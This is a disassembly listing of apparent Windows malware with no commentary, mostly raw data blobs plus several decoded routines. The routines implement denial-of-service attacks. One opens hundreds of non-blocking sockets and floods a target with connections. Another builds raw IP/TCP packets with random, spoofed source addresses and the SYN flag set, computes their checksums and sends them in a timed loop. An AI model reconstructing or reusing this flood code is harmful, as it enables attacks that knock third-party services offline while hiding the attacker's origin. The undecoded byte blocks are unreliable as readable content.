44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o dword_412F50 dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022BCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0F1E85359h, 90022BCBh dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D8D4E800h dd 50900226h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2BCB13E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D00DE890h dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Bh, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022BC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 26705B3h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2BC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2780332h lea eax, [ebp+var_8] push eax call near ptr 2780000h nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 2780000h mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D44 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22BC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022BC0h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 15E85359h, 90022BC0h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 0E8535959h, 22BBC88h db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h 